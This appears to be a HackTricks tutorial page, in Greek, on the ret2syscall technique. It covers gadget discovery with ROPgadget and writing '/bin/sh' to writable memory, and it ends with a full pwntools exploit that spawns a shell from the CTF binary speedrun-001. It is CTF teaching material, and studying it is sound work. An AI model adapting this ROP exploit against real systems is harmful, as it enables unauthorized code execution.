Ret2syscall
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Αυτό είναι παρόμοιο με το Ret2lib, ωστόσο, σε αυτή την περίπτωση δεν θα καλούμε μια συνάρτηση από μια βιβλιοθήκη. Σε αυτή την περίπτωση, όλα θα είναι προετοιμασμένα για να καλέσουμε το syscall sys_execve
με ορισμένα επιχειρήματα για να εκτελέσουμε το /bin/sh
. Αυτή η τεχνική συνήθως εκτελείται σε δυαδικά αρχεία που έχουν μεταγλωττιστεί στατικά, οπότε μπορεί να υπάρχουν πολλά gadgets και οδηγίες syscall.
Για να προετοιμάσουμε την κλήση για το syscall χρειάζεται η εξής διαμόρφωση:
rax: 59 Specify sys_execve
rdi: ptr to "/bin/sh" specify file to execute
rsi: 0 specify no arguments passed
rdx: 0 specify no environment variables passed
Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά /bin/sh
κάπου και στη συνέχεια να εκτελέσουμε το syscall
(έχοντας υπόψη την padding που χρειάζεται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το /bin/sh
σε μια γνωστή περιοχή.
tip
Ένα άλλο ενδιαφέρον syscall για κλήση είναι το mprotect
το οποίο θα επέτρεπε σε έναν επιτιθέμενο να τροποποιήσει τις άδειες μιας σελίδας στη μνήμη. Αυτό μπορεί να συνδυαστεί με ret2shellcode.
Register gadgets
Ας ξεκινήσουμε βρίσκοντας πώς να ελέγξουμε αυτούς τους καταχωρητές:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
Με αυτές τις διευθύνσεις είναι δυνατόν να γράψετε το περιεχόμενο στη στοίβα και να το φορτώσετε στους καταχωρητές.
Γράψτε συμβολοσειρά
Γράψιμη μνήμη
Πρώτα πρέπει να βρείτε ένα γράψιμο μέρος στη μνήμη
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Γράψτε Συμβολοσειρά στη μνήμη
Τότε πρέπει να βρείτε έναν τρόπο να γράψετε αυθαίρετο περιεχόμενο σε αυτή τη διεύθυνση
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Αυτοματοποίηση αλυσίδας ROP
Η παρακάτω εντολή δημιουργεί μια πλήρη αλυσίδα ROP sys_execve
δεδομένου ενός στατικού δυαδικού αρχείου όταν υπάρχουν gadgets write-what-where και εντολές syscall:
ROPgadget --binary vuln --ropchain
32 bit
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 bits
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Lacking Gadgets
Αν λείπουν gadgets, για παράδειγμα για να γράψετε /bin/sh
στη μνήμη, μπορείτε να χρησιμοποιήσετε την τεχνική SROP για να ελέγξετε όλες τις τιμές των καταχωρητών (συμπεριλαμβανομένων των RIP και των καταχωρητών παραμέτρων) από τη στοίβα:
SROP - Sigreturn-Oriented Programming
Exploit Example
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Άλλα Παραδείγματα & Αναφορές
- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
- 64 bits, no PIE, nx, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το
execve
και να μεταβείτε εκεί. - https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
- 64 bits, nx, no PIE, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το
execve
και να μεταβείτε εκεί. Για να γράψετε στη στοίβα, εκμεταλλεύεστε μια συνάρτηση που εκτελεί μαθηματικές πράξεις. - https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bits, no PIE, nx, BF canary, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το
execve
και να μεταβείτε εκεί.
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.